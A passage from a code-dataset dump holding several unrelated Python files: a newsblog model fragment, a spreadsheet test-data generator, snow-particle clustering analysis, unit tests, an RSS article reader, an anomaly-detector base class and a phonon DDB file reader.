'_placeholder_cache', None) or # noqa: W504\n instance.placeholder)\n if hasattr(placeholder, '_attached_model_cache'):\n if placeholder._attached_model_cache == Article:\n article = placeholder._attached_model_cache.objects.language(\n instance.language).get(content=placeholder.pk)\n article.search_data = article.get_search_data(instance.language)\n article.save()\n","repo_name":"what-digital/aldryn-newsblog","sub_path":"aldryn_newsblog/models/articles.py","file_name":"articles.py","file_ext":"py","file_size_in_byte":26946,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"32843675173","text":"#! /usr/bin/env python3\nimport openpyxl\nimport random\n\nfrom string import ascii_uppercase\nimport itertools\n\nfrom openpyxl import Workbook\nfrom openpyxl import load_workbook\n# wb = Workbook()\n#\n# # grab the active worksheet\n# ws = wb.active\n#\n# # Data can be assigned directly to cells\n# ws['A1'] = 42\n#\n# # Rows can also be appended\n# ws.append([1, 2, 3])\n#\n# # Python types will automatically be converted\n# import datetime\n# ws['A2'] = datetime.datetime.now()\n#\n# # Save the file\n# wb.save(\"sample.xlsx\")\n\nwb=load_workbook('dataheavy_product_verify.xlsx')\nws=wb.active\n\n\nhowmanynewproducts=3000\nexist_count=0\ndelete_exist=1\ncolumnlist=[]\nfirst_row_cache=[]\n\nfor row in ws.iter_rows(min_row=2, max_col=1):\n for cell in row:\n if cell.value and len(cell.value)>0:\n # print(cell.value)\n exist_count+=1\nprint ('Exist:',exist_count)\n\n# create column from A,B,C to AL,AM\ndef iter_all_strings():\n size = 1\n while True:\n for s in itertools.product(ascii_uppercase, repeat=size):\n yield \"\".join(s)\n size +=1\n\nfor s in itertools.islice(iter_all_strings(), 39):\n columnlist.append(s)\nfor s in columnlist:\n first_row_cache.append(ws['%s2'%s].value)\n\ndef delete_rows(start,howmanyrows,columns):\n for i in range(start,howmanyrows):\n for s in columns:\n ws['%s%d'%(s,i)]=None\n\n\nif delete_exist:\n delete_rows(2,exist_count,columnlist)\n exist_count=1\n\n\nfor i in range(exist_count+1,exist_count+howmanynewproducts+1,4):\n randstr=''.join(random.choice('0123456789'+ascii_uppercase) for a in range(11))\n for k,v in {'-PINK-S':['123','S'],'-PINK-M':['456','M'],'-PINK-L':['789','L'],'-PINK-XL':['101','XL']}.items():\n ws['A%d'%(i)]='qap-dh-'+randstr\n ws['B%d'%(i)]='qap-dh-'+randstr+k\n ws['C%d'%(i)]='h-'+randstr+v[0]\n ws['D%d'%(i)]=first_row_cache[3]\n ws['E%d'%(i)]=0\n ws['F%d'%(i)]='CN'\n ws['H%d'%(i)]=0\n ws['I%d'%(i)]=first_row_cache[8]\n ws['O%d'%(i)]=0\n ws['P%d'%(i)]=first_row_cache[15]\n ws['Q%d'%(i)]=first_row_cache[16]\n ws['V%d'%(i)]=first_row_cache[21]\n ws['W%d'%(i)]=v[1]\n ws['X%d'%(i)]=first_row_cache[23]\n ws['Y%d'%(i)]=first_row_cache[24]\n ws['Z%d'%(i)]=first_row_cache[25]\n ws['AA%d'%(i)]=first_row_cache[26]\n ws['AB%d'%(i)]=first_row_cache[27]\n ws['AC%d'%(i)]=first_row_cache[28]\n ws['AD%d'%(i)]=first_row_cache[29]\n ws['AE%d'%(i)]=first_row_cache[30]\n ws['AF%d'%(i)]=first_row_cache[31]\n ws['AG%d'%(i)]=first_row_cache[32]\n ws['AH%d'%(i)]=first_row_cache[33]\n ws['AI%d'%(i)]=first_row_cache[34]\n ws['AJ%d'%(i)]=first_row_cache[35]\n ws['AK%d'%(i)]=0\n ws['AL%d'%(i)]=1\n # ws['AM%d'%(i)]='Active'\n # print (ws['A%d'%(i)].value, ws['B%d'%(i)].value, ws['C%d'%(i)].value,ws['D%d'%(i)].value,ws['I%d'%(i)].value,ws['W%d'%(i)].value,ws['AJ%d'%(i)].value)\n i+=1\n # print ('i in dic loop is: ',i)\n # print ('i in outer loop is:',i)\n\nprint ('final i:',i-1)\n\nwb.save('dataheavy_product_verify.xlsx')\n","repo_name":"jiagangzhang/myownsync","sub_path":"newpycode/old or backup/createproductxlsx_old.py","file_name":"createproductxlsx_old.py","file_ext":"py","file_size_in_byte":3114,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"6146044060","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 23 15:20:08 2017\n\n@author: lorenzo\n\"\"\"\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\nimport copy\nimport matplotlib\nimport matplotlib.patches as mpatches\nimport datetime\n\nfrom sklearn.cluster import KMeans,DBSCAN,MeanShift,estimate_bandwidth\nfrom sklearn import mixture\nfrom sklearn.metrics import silhouette_score\n#from matplotlib.colors import LinearSegmentedColormap\nfrom sklearn.preprocessing import StandardScaler\nfrom scipy.spatial.distance import cdist,pdist\nfrom scipy import stats\n\n##Data import from .txt file to data frame\n\nfilename='/home/cima/Documents/Helsinki Work/Data_BAECC2014_txt/Snow_particles_20140215_0216.txt'\n\ncolumn_names=['Date_Time', 'Ddeq', 'V', 'A', \n'Dmin', 'Dmaj', 'Dmax', 'mass', 'W', 'H']\n\ndata=pd.read_table(filename, delim_whitespace=True, parse_dates=[['time','Ddeq']])\n\ndata.columns=column_names\n\n##Area Ratio calculation and join with data frame \n\narea_ratio=data['A']/((math.pi/4.0)*(data['Dmax'])**2)\ndata['Aratio']=area_ratio\n \n##Aspect Ratio calculation and join with data frame \n\naspect_ratio=data['Dmin']/data['Dmax'] \ndata['ASPratio']=aspect_ratio\n\n''' \n##Ratio of rectangular volume\n\nvolume_ratio=data['H']/data['W']\ndata['VOLratio']=volume_ratio\n\n''' \n\n##Selection of period of interest \n\nstart_time='2014-02-16 00:40:00'\nend_time='2014-02-16 00:46:00'\n\ndata=data[(data['Date_Time']>=start_time) & (data['Date_Time']<=end_time)]\n \n##Selection of piece of dataset with dimension of 1000 measurements\n \ntotal_n_cluster=[]\ntime=[]\n\nstart=0\nend=1000\nwhile startexpensive for RAM\n \n \n \n \n ###Using K-Means\n silhouette_value_KM=[]\n silhouette_value_KM.append(0)\n \n silhouette_KM_max=0\n n_cluster_KM=0\n \n for i in range(2,9):\n clusterer = KMeans(n_clusters=i)\n cluster_labels = clusterer.fit_predict(normalized_data)\n silhouette_avg = silhouette_score(normalized_data, labels=cluster_labels)\n silhouette_value_KM.append(silhouette_avg)\n print(\"For n_clusters =\", i,\n \"The average silhouette_score is :\", silhouette_avg)\n if (silhouette_avg > silhouette_KM_max):\n silhouette_KM_max=silhouette_avg\n n_cluster_KM=i\n \n print('Estimated number of cluster with K-Means ---> ', n_cluster_KM)\n \n #it's necessary a treshold to find 1 cluster\n if (silhouette_avg < 0.3):\n n_cluster_KM=1\n print('Correction number of cluster --->', n_cluster_KM)\n \n \n \n x_variable='Ddeq'\n y_variable='Aratio'\n\n if y_variable=='Aratio':\n xmin=0\n xmax=5\n ymin=0\n ymax=1.25\n\n if y_variable=='V':\n xmin=0\n xmax=5\n ymin=0\n ymax=3\n \n my_cmap=copy.copy(matplotlib.cm.jet)\n my_cmap.set_under('w') \n \n fig3=plt.figure()\n plt.subplot(3, 2, 3)\n h=plt.hist2d(data1[x_variable],data1[y_variable], bins=80, normed=True,\n vmin=10**-60, vmax=1, range=np.array([(xmin, xmax), (ymin, ymax)]),cmap=my_cmap)\n plt.colorbar()\n plt.axis([xmin, xmax, ymin, ymax])\n plt.xlabel(x_variable)\n plt.ylabel(y_variable)\n plt.title('K-Means All Data')\n #plt.grid(color='gray')\n \n plt.subplot(3, 1, 1)\n plt.plot(range(1,9), silhouette_value_KM,'ro-',label='K-Means')\n plt.axis([0,10,0,0.5])\n plt.xlabel('k')\n plt.ylabel('Average Silhouette')\n plt.title('Selecting k with the Average Silhouette Method')\n plt.text(1,0.4,n_cluster_KM)\n plt.text(0.4,0.4, 'cluster=')\n plt.show()\n \n \n km = KMeans(n_clusters=n_cluster_KM, init='k-means++',n_init=40, random_state=200)\n km.fit(normalized_data)\n labels=data1['KM_ID']=km.predict(normalized_data)\n KM_cluster0=data1[data1['KM_ID']==0]\n KM_cluster1=data1[data1['KM_ID']==1]\n KM_cluster2=data1[data1['KM_ID']==2]\n\n plt.subplot(3, 2, 4)\n h=plt.hist2d(KM_cluster0[x_variable],KM_cluster0[y_variable], bins=80, normed=True,\n vmin=10**-60, vmax=1, range=np.array([(xmin, xmax), (ymin, ymax)]),cmap=my_cmap)\n plt.colorbar()\n plt.axis([xmin, xmax, ymin, ymax])\n plt.xlabel(x_variable)\n plt.ylabel(y_variable)\n plt.title('K-Means Cluster 0')\n \n plt.subplot(3, 2, 5)\n h=plt.hist2d(KM_cluster1[x_variable],KM_cluster1[y_variable], bins=80, normed=True,\n vmin=10**-60, vmax=1, range=np.array([(xmin, xmax), (ymin, ymax)]),cmap=my_cmap)\n plt.colorbar()\n plt.axis([xmin, xmax, ymin, ymax])\n plt.xlabel(x_variable)\n plt.ylabel(y_variable)\n plt.title('K-Means Cluster 1')\n \n plt.subplot(3, 2, 6)\n h=plt.hist2d(KM_cluster2[x_variable],KM_cluster2[y_variable], bins=80, normed=True,\n vmin=10**-60, vmax=1, range=np.array([(xmin, xmax), (ymin, ymax)]),cmap=my_cmap)\n plt.colorbar()\n plt.axis([xmin, xmax, ymin, ymax])\n plt.xlabel(x_variable)\n plt.ylabel(y_variable)\n plt.title('K-Means Cluster 2')\n \n total_n_cluster.append(n_cluster_KM)\n time.append(data1['Date_Time'].iloc[len(data1)//2])\n start=end+1\n end=end+1001\n\n#add 30 seconds for removing time-step sovrapposition\nfor t in range(1,len(time)):\n if (time[t]==time[t-1]):\n time[t]=time[t]+datetime.timedelta(seconds=30)\n \n \nfig4=plt.figure()\nplt.plot(time, total_n_cluster, 'ko')\nplt.ylim(0,5) \nplt.xlabel('Time')\nplt.ylabel('Number of cluster')\n\n\n\n\n \n''' \n ###Using Gaussian Mixture\n\n silhouette_value_GM=[]\n silhouette_value_GM.append(0)\n \n silhouette_GM_max=0\n n_cluster_GM=0\n\n for l in range(2,9):\n clusterer = mixture.GaussianMixture(n_components=l)\n cluster_labels_1 = clusterer.fit(data1[['Ddeq','V','Aratio','ASPratio']])\n cluster_labels = clusterer.predict(data1[['Ddeq','V','Aratio','ASPratio']])\n silhouette_avg = silhouette_score(data1[['Ddeq','V','Aratio','ASPratio']], labels=cluster_labels)\n silhouette_value_GM.append(silhouette_avg)\n #print(\"For n_clusters =\", l,\n # \"The average silhouette_score is :\", silhouette_value_GM)\n if (silhouette_avg > silhouette_GM_max):\n silhouette_GM_max=silhouette_avg\n n_cluster_GM=l\n \n print('Estimated number of cluster with Gaussian Mixture ---> ', n_cluster_GM)\n \n\n plt.plot(range(1,9), silhouette_value_GM,'bx-', label='Gaussian Mixture')\n plt.axis([0,10,0,0.5])\n plt.xlabel('k')\n plt.ylabel('Average Silhouette')\n plt.title('Selecting k with the Average Silhouette Method')\n plt.legend()\n plt.show()\n\n \n \n''' \n \n\n\n\n'''\nvariable='V'\n\nfigx=plt.figure()\nGM_cluster0[variable].plot.density(color='red')\nGM_cluster1[variable].plot.density(color='blue')\nGM_cluster2[variable].plot.density(color='green')\n\n#bandwidth=estimate_bandwidth(normalized_data, quantile=0.045)\n\n#ms=MeanShift(bandwidth=bandwidth,bin_seeding=True)\n#ms.fit(data[['Ddeq','V','Aratio','ASPratio']])\n\nlabels1=km.labels_\ncluster_centers=km.cluster_centers_\nlabels_unique=np.unique(labels1)\nn_clusters_=len(labels_unique)\nprint('Number of estimated clusters:', n_clusters_)\n\n#data.plot(kind='scatter', x='Ddeq',y='Aratio', c=labels1, colormap='Set1')\n\n\n##Find centroid(a,b) of cluster \n\na=np.sum(KM_data_set[['Ddeq']])/len(KM_cluster2)\nb=np.sum(KM_data_set[['Aratio']])/len(KM_cluster2)\nplt.scatter(a,b)\n'''\n\n'''\n#Add fit with plot\nx = np.linspace(0.2,5,100) # 100 linearly spaced numbers\ny = 0.73*(x)**0.06 # function\nplt.plot(x,y, color='black')\n'''\n\n\n'''\n\n###Elbow method to understand the correct number of cluster (no precise)\n\nmeandistorsion =[]\nfor k in range(1,11):\n kmeans=KMeans(n_clusters=k)\n kmeans.fit(normalized_data)\n meandistorsion.append(sum(np.min(cdist(normalized_data,\n kmeans.cluster_centers_,'euclidean'),axis=1))/normalized_data.shape[0])\n if (k>1):\n a=meandistorsion[k-1]-meandistorsion[k-2]\n print('Slope of adiacent point', a)\n \n if (meandistorsion[k-1]-meandistorsion[k-2]>-0.0999):\n print('The number of cluster is', k-2)\n \n \n \nfig2=plt.figure()\nplt.plot(range(1,11),meandistorsion,'bx-')\nplt.axis([0,12,0.8,2])\nplt.xlabel('k')\nplt.ylabel('Average distortion')\nplt.title('Selecting k with the Elbow Method')\nplt.show()\n'''\n\n\n'''\n\n###DBSCAN to find number of cluster (too expensive for RAM)\n\neps_grid=np.linspace(0.3,1.2,num=10)\nsilhouette_scores=[]\neps_best=eps_grid[0]\nsilhouette_score_max=-1\nmodel_best=None\nlabels_best=None\n\nfor eps in eps_grid:\n model=DBSCAN(eps=eps, min_samples=5).fit(data[['Ddeq','V','Aratio','ASPratio']])\n labels=model.labels_\n silhouette_scores.append(silhouette_score)\n print('Epsilon:',eps, '---> silhouette score:',silhouette_score)\n if silhouette_score>silhouette_score_max:\n silhouette_score_max=silhouette_score\n eps_best=eps\n model_best=model\n labels_best=labels\n \n\nprint('Best epsilon=', eps_best)\n\nmodel=model_best\nlabels=labels_best\n\noffset=0\nif -1 in labels:\n offset=-1\n \nnum_cluster=len(set(labels))-offset\n\nprint('Estimated number of cluster=',num_cluster)\n\n\n'''","repo_name":"lorenzocima/snowpy","sub_path":"kmeans_test.py","file_name":"kmeans_test.py","file_ext":"py","file_size_in_byte":9661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24855564337","text":"import numpy as np\n\nfrom assertion import equals\nfrom store import Store\n\n__all__ = [\n 'success_get_all_values',\n 'success_get_next_two_values',\n 'success_get_batch_more_than_values_count'\n]\n\n\ndef success_get_all_values():\n values = [\n np.asarray([1., 2., 3.]),\n np.asarray([4., 5., 6.]),\n np.asarray([7., 8., 9.])\n ]\n store = Store(values)\n equals(values, store.values)\n\n\ndef success_get_next_two_values():\n values = [\n np.asarray([1., 2., 3.]),\n np.asarray([4., 5., 6.]),\n np.asarray([7., 8., 9.])\n ]\n store = Store(values, 2019)\n next_values = store.next(2)\n equals(values[1:], next_values)\n next_values = store.next(1)\n equals(values[:1], next_values)\n\n\ndef success_get_batch_more_than_values_count():\n values = [\n np.asarray([1., 2., 3.]),\n np.asarray([4., 5., 6.]),\n np.asarray([7., 8., 9.])\n ]\n store = Store(values, 2019)\n next_values = store.next(4)\n expected = np.asarray([\n values[1],\n values[2],\n values[0],\n values[2]\n ])\n equals(expected, next_values)\n","repo_name":"Jenya26/MLP","sub_path":"store/tests/store_test.py","file_name":"store_test.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25667252830","text":"from urllib.request import urlopen\n\nimport feedparser\nfrom bs4 import BeautifulSoup as bs, NavigableString, Comment\n\nfrom app import logger\n\n\nclass FeedReader(object):\n def __init__(self, ticker):\n self.data = feedparser.parse(\n f'http://articlefeeds.nasdaq.com/nasdaq/symbols?symbol={ticker}')\n\n def get_articles_titles(self, limit=3):\n \"\"\" Get list of article headings.\n :param limit: limit the number of titles received (max 10)\n :return: [string]\n \"\"\"\n if limit > 10:\n logger.error(\"Can't read that many titles, set limit to max 10.\")\n\n articles = []\n for index, article in enumerate(self.data['entries']):\n if index >= limit:\n break\n articles.append(article['title'])\n\n return articles\n\n def get_article_link(self, index):\n \"\"\" Get link to the article at {index}.\n :return: str link or None if failed to find link\n \"\"\"\n try:\n article = self.data['entries'][index]\n link = article['feedburner_origlink']\n except Exception as e:\n logger.exception(f\"Can't get link to article at index:{index}\", e)\n return None\n\n return link\n\n def get_article_body(self, index):\n \"\"\" Get the text body of article at {index}\n :return: str or None if failed\n \"\"\"\n url = self.get_article_link(index)\n logger.debug(f\"article link: {url}\")\n\n soup = bs(urlopen(url), \"html.parser\")\n\n article_text = soup.find(id=\"articleText\")\n if article_text is None:\n article_text = soup.find(id=\"articlebody\")\n\n content = \"\"\n for paragraph in article_text:\n if type(paragraph) == NavigableString \\\n or type(paragraph) == Comment \\\n or not hasattr(paragraph, 'text') \\\n or paragraph.text == \"\" \\\n or paragraph.text == \"\\n\":\n continue\n\n for p in paragraph:\n if type(p) == NavigableString \\\n or type(p) == Comment \\\n or p.text == \"\" \\\n or p.text == \"\\n\":\n continue\n\n content += self._unify_spaces(p.text) + \"\\n\"\n\n # cut content to 7500 characters\n if len(content) > 7500:\n logger.warning(f\"The card content is too long ({len(content)}) and will be cut.\")\n content = content[:7500] + \"...\"\n\n return content\n\n def _unify_spaces(self, text):\n \"\"\"Replace multiple spaces with one.\"\"\"\n return ' '.join(text.split())\n","repo_name":"drabekj/OttoBot-Alexa-Skill","sub_path":"app/utils/FeedReader/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2666,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"23501052408","text":"from abc import abstractmethod\nfrom typing import Callable\n\nimport numpy as np\nfrom sklearn.base import BaseEstimator, OutlierMixin\nfrom sklearn.metrics import make_scorer, roc_auc_score\nfrom sklearn.utils.validation import check_is_fitted, check_X_y, check_array\n\n\nclass BaseAnomalyDetector(BaseEstimator, OutlierMixin):\n \"\"\" Base anomaly detector class, implementing scikit-learn's BaseEstimator and OutlierMixin.\"\"\"\n\n def __init__(\n self,\n scorer: Callable,\n random_state: int = None):\n self.scorer = scorer\n self.random_state = random_state\n\n @property\n @abstractmethod\n def offset_(self):\n raise NotImplemented\n\n # noinspection PyPep8Naming\n @abstractmethod\n def fit(self, X: np.ndarray, y: np.ndarray = None, **kwargs):\n raise NotImplemented\n\n # noinspection PyPep8Naming\n @abstractmethod\n def score_samples(self, X: np.ndarray):\n raise NotImplemented\n\n # noinspection PyPep8Naming\n def predict(self, X: np.ndarray):\n \"\"\" Perform classification on samples in X.\n\n :parameter X : np.ndarray of shape (n_samples, n_features)\n Set of samples, where n_samples is the number of samples and\n n_features is the number of features.\n\n :return : np.ndarray with shape (n_samples,)\n Class labels for samples in X, -1 indicating an anomaly and 1 normal data.\n \"\"\"\n\n X, _ = self._check_ready_for_prediction(X)\n decision_function = self.decision_function(X)\n v_mapping = np.vectorize(lambda x: -1 if x else 1)\n return v_mapping((decision_function <= 0))\n\n # noinspection PyPep8Naming\n def decision_function(self, X: np.ndarray) -> np.ndarray:\n \"\"\" Return decision_function value, considering the offset_.\n\n :param X : np.ndarray of shape (n_samples, n_features)\n Set of samples, where n_samples is the number of samples and\n n_features is the number of features.\n\n :return: np.ndarray of shape (n_samples,)\n Array of anomaly scores.\n Higher values indicate that an instance is more likely to be anomalous.\n \"\"\"\n\n X, _ = self._check_ready_for_prediction(X)\n anomaly_score = self.score_samples(X)\n return anomaly_score - self.offset_\n\n # noinspection PyPep8Naming\n def score(self, X: np.ndarray, y: np.ndarray):\n \"\"\" Return the performance score based on the samples in X and the scorer, passed as class parameter.\n\n :param X : np.ndarray of shape (n_samples, n_features)\n Set of samples, where n_samples is the number of samples and\n n_features is the number of features.\n :param y : np.ndarray of with shape (n_samples,)\n The true anomaly labels.\n\n :return : float\n Scalar score value.\n \"\"\"\n X, y = self._check_ready_for_prediction(X, y)\n\n if self.scorer is None:\n return make_scorer(roc_auc_score, needs_threshold=True)(estimator=self, X=X, y_true=y)\n\n return self.scorer(estimator=self, X=X, y_true=y)\n\n # noinspection PyPep8Naming\n def _get_normal_data(self, X, y):\n if y is not None:\n X, y = check_X_y(X, y, estimator=self)\n if len(np.unique(y)) > 2:\n raise ValueError\n\n normal_data = np.array(X[y == min(y)])\n if len(normal_data) == 0:\n raise ValueError\n else:\n # noinspection PyTypeChecker\n normal_data = np.array(check_array(X, estimator=self))\n return normal_data\n\n def _set_n_features_in(self, normal_data):\n # noinspection PyAttributeOutsideInit\n self.n_features_in_ = normal_data.shape[1]\n\n # noinspection PyPep8Naming\n def _check_ready_for_prediction(self, X, y=None):\n check_is_fitted(self)\n if y is not None:\n X, y = check_X_y(X, y)\n y = np.array(y)\n else:\n X = check_array(X)\n X = np.array(X)\n if X.shape[1] != self.n_features_in_:\n raise ValueError('Invalid number of features in data.')\n return X, y\n\n def _more_tags(self):\n # noinspection SpellCheckingInspection\n return {\n 'binary_only': True,\n '_xfail_checks': {\n 'check_outliers_train': 'Replaced with customized test.',\n 'check_outliers_fit_predict': 'Replaced with customized test.',\n }\n }\n\n @staticmethod\n def get_mapped_prediction(y: np.ndarray):\n return np.vectorize(lambda x: 0 if x == -1 else 1)(y)\n","repo_name":"dsat4301/anomaly_detection","sub_path":"base/base_anomaly_detector.py","file_name":"base_anomaly_detector.py","file_ext":"py","file_size_in_byte":4613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21895340210","text":"\nfrom __future__ import print_function\n\n__author__ = \"Gabriel Antonius, Samuel Ponce\"\n\nimport os\nimport warnings\n\nimport numpy as np\nfrom numpy import zeros\nimport netCDF4 as nc\n\nfrom .mpi import MPI, comm, size, rank, mpi_watch\n\nfrom .constants import tol5, tol6, me_amu, kb_HaK\nfrom .functions import get_bose\nfrom . import EpcFile\n\n__all__ = ['DdbFile']\n\n\nclass DdbFile(EpcFile):\n\n _rprim = np.identity(3)\n gprimd = np.identity(3)\n omega = None\n asr = True\n \n def __init__(self, *args, **kwargs):\n self.asr = kwargs.pop('asr', True)\n super(DdbFile, self).__init__(*args, **kwargs)\n\n def set_amu(self, amu):\n \"\"\"\n Set the values for the atom masses.\n\n Arguments:\n amu: [ntypat]\n Atom masses for each atom type, in atomic mass units.\n \"\"\"\n self.amu = np.array(amu)\n\n def read_nc(self, fname=None):\n \"\"\"Open the DDB.nc file and read it.\"\"\"\n fname = fname if fname else self.fname\n\n super(DdbFile, self).read_nc(fname)\n\n with nc.Dataset(fname, 'r') as root:\n\n self.natom = len(root.dimensions['number_of_atoms'])\n self.ncart = len(root.dimensions['number_of_cartesian_directions']) # 3\n self.ntypat = len(root.dimensions['number_of_atom_species'])\n\n self.typat = root.variables['atom_species'][:self.natom]\n self.amu = root.variables['atomic_masses_amu'][:self.ntypat]\n self.rprim = root.variables['primitive_vectors'][:self.ncart,:self.ncart]\n self.xred = root.variables['reduced_atom_positions'][:self.natom,:self.ncart]\n self.qred = root.variables['q_point_reduced_coord'][:]\n\n # The d2E/dRdR' matrix\n self.E2D = np.zeros((self.natom, self.ncart, self.natom, self.ncart), dtype=np.complex)\n self.E2D.real = root.variables['second_derivative_of_energy'][:,:,:,:,0]\n self.E2D.imag = root.variables['second_derivative_of_energy'][:,:,:,:,1]\n self.E2D = np.einsum('aibj->bjai', self.E2D) # Indicies are reversed when writing them from Fortran.\n\n self.BECT = root.variables['born_effective_charge_tensor'][:self.ncart,:self.natom,:self.ncart]\n\n def broadcast(self):\n \"\"\"Broadcast the data from master to all workers.\"\"\"\n \n comm.Barrier()\n\n if rank == 0:\n dim = np.array([self.natom, self.ncart, self.ntypat], dtype=np.int)\n else:\n dim = np.empty(3, dtype=np.int)\n\n comm.Bcast([dim, MPI.INT])\n\n if rank != 0:\n\n self.natom, self.ncart, self.ntypat = dim[:]\n\n self.typat = np.empty(self.natom, dtype='i')\n self.amu = np.empty(self.ntypat, dtype=np.float)\n rprim = np.empty((self.ncart, self.ncart), dtype=np.float)\n self.xred = np.empty((self.natom, self.ncart), dtype=np.float)\n self.qred = np.empty((self.ncart), dtype=np.float)\n\n self.E2D = np.empty((self.natom, self.ncart, self.natom, self.ncart),\n dtype=np.complex)\n\n self.BECT = np.empty((self.ncart, self.natom, self.ncart), dtype=np.float)\n\n else:\n rprim = self.rprim\n\n comm.Bcast([self.typat, MPI.INT])\n comm.Bcast([self.amu, MPI.DOUBLE])\n comm.Bcast([self.xred, MPI.DOUBLE])\n comm.Bcast([self.qred, MPI.DOUBLE])\n comm.Bcast([self.E2D, MPI.COMPLEX])\n comm.Bcast([self.BECT, MPI.DOUBLE])\n comm.Bcast([rprim, MPI.DOUBLE])\n\n self.rprim = rprim\n\n @property\n def is_gamma(self):\n return np.allclose(self.qred,[0.0,0.0,0.0])\n\n @property\n def rprim(self):\n return self._rprim\n\n @rprim.setter\n def rprim(self, value):\n self._rprim = np.array(value)\n self.gprimd = np.linalg.inv(np.matrix(self._rprim))\n\n @property\n def nmode(self):\n return 3 * self.natom\n\n def get_mass_scaled_dynmat_cart(self):\n \"\"\"\n Format the dynamical matrix in a 3Nx3N matrix,\n scale with masses, and transform into Cartesian coordinates.\n \"\"\"\n # Retrive the amu for each atom\n amu = zeros(self.natom)\n for ii in np.arange(self.natom):\n jj = self.typat[ii]\n amu[ii] = self.amu[jj-1]\n \n # Transform from 2nd-order matrix (non-cartesian coordinates, \n # masses not included, asr not included ) from self to\n # dynamical matrix, in cartesian coordinates, asr not imposed.\n E2D_cart = zeros((3,self.natom,3,self.natom),dtype=complex)\n for ii in np.arange(self.natom):\n for jj in np.arange(self.natom):\n for dir1 in np.arange(3):\n for dir2 in np.arange(3):\n for dir3 in np.arange(3):\n for dir4 in np.arange(3):\n E2D_cart[dir1,ii,dir2,jj] += (self.E2D[ii,dir3,jj,dir4] *\n self.gprimd[dir1,dir3] * self.gprimd[dir2,dir4])\n\n # Reduce the 4 dimensional E2D_cart matrice to 2 dimensional Dynamical matrice\n # with scaled masses.\n Dyn_mat = zeros((3*self.natom,3*self.natom),dtype=complex)\n for ii in np.arange(self.natom):\n for dir1 in np.arange(3):\n ipert1 = ii * 3 + dir1\n for jj in np.arange(self.natom):\n for dir2 in np.arange(3):\n ipert2 = jj * 3 + dir2\n\n Dyn_mat[ipert1,ipert2] = (E2D_cart[dir1,ii,dir2,jj] *\n me_amu / np.sqrt(amu[ii]*amu[jj]))\n \n # Hermitianize the dynamical matrix\n #dynmat = np.matrix(Dyn_mat)\n dynmat = Dyn_mat\n dynmat = 0.5 * (dynmat + dynmat.transpose().conjugate())\n\n return dynmat\n\n\n def get_E2D_cart(self):\n \"\"\"\n Transform the 2nd-order matrix from non-cartesian coordinates\n to cartesian coordinates...and also swap atom and cartesian indicies.\n \"\"\"\n # Transform from 2nd-order matrix (non-cartesian coordinates, \n # masses not included, asr not included ) from self to\n # dynamical matrix, in cartesian coordinates, asr not imposed.\n E2D_cart = zeros((3,self.natom,3,self.natom),dtype=complex)\n for ii in np.arange(self.natom):\n for jj in np.arange(self.natom):\n for dir1 in np.arange(3):\n for dir2 in np.arange(3):\n for dir3 in np.arange(3):\n for dir4 in np.arange(3):\n E2D_cart[dir1,ii,dir2,jj] += (self.E2D[ii,dir3,jj,dir4] *\n self.gprimd[dir1,dir3] * self.gprimd[dir2,dir4])\n\n return E2D_cart\n \n\n def compute_dynmat(self, asr=None, zero_negative=True):\n \"\"\"\n Diagonalize the dynamical matrix.\n \n Returns:\n omega: the frequencies, in Ha\n eigvect: the eigenvectors, in reduced coord\n \"\"\"\n asr = asr if asr is not None else self.asr\n \n # Retrive the amu for each atom\n amu = zeros(self.natom)\n for ii in np.arange(self.natom):\n jj = self.typat[ii]\n amu[ii] = self.amu[jj-1]\n \n dynmat = self.get_mass_scaled_dynmat_cart()\n \n # Diagonalize the matrix\n eigval, eigvect = np.linalg.eigh(dynmat)\n \n # Scale the eigenvectors \n for ii in np.arange(self.natom):\n for dir1 in np.arange(3):\n ipert = ii * 3 + dir1\n eigvect[ipert] = eigvect[ipert] * np.sqrt(me_amu / amu[ii])\n\n # Nullify imaginary frequencies\n if zero_negative:\n for i, eig in enumerate(eigval):\n if eig < 0.0:\n warnings.warn(\"An eigenvalue is negative with value: {} ... but proceed with value 0.0\".format(jj))\n eigval[i] = 0.0\n\n # Impose the accoustic sum rule\n if asr and self.is_gamma:\n eigval[0] = 0.0\n eigval[1] = 0.0\n eigval[2] = 0.0\n\n # Frequencies\n self.omega = np.sqrt(np.abs(eigval)) * np.sign(eigval)\n self.eigvect = eigvect\n \n return self.omega, self.eigvect\n\n def get_reduced_displ(self):\n \"\"\"\n Compute the mode eigenvectors, scaled by the mode displacements\n Also transform from cartesian to reduced coordinates.\n\n Returns: polvec[nmode,3,natom]\n \"\"\"\n\n # Minimal value for omega (Ha)\n omega_tolerance = 1e-5\n\n self.polvec = zeros((self.nmode,3,self.natom), dtype=complex)\n xi_at = zeros(3, dtype=complex)\n\n omega, eigvect = self.compute_dynmat()\n\n for imode in range(self.nmode):\n # Skip mode with zero frequency (leave displacements null)\n if omega[imode].real < omega_tolerance:\n continue\n\n z0 = 1. / np.sqrt(2.0 * omega[imode].real)\n\n for iatom in np.arange(self.natom):\n for idir in range(3):\n xi_at[idir] = eigvect[3*iatom+idir,imode] * z0\n\n for idir in range(3):\n for jdir in range(3):\n self.polvec[imode,idir,iatom] += xi_at[jdir] * self.gprimd[jdir,idir]\n\n return self.polvec\n \n def get_reduced_displ_squared(self):\n \"\"\"\n Compute the squared reduced displacements (scaled by phonon frequencies)\n for the Fan and the DDW terms.\n \"\"\"\n # Minimal value for omega (Ha)\n omega_tolerance = 1e-5\n\n natom = self.natom\n omega, eigvect = self.compute_dynmat()\n\n displ_FAN = zeros((3,3), dtype=complex)\n displ_DDW = zeros((3,3), dtype=complex)\n displ_red_FAN2 = zeros((3*natom,natom,natom,3,3), dtype=complex)\n displ_red_DDW2 = zeros((3*natom,natom,natom,3,3), dtype=complex)\n\n for imode in 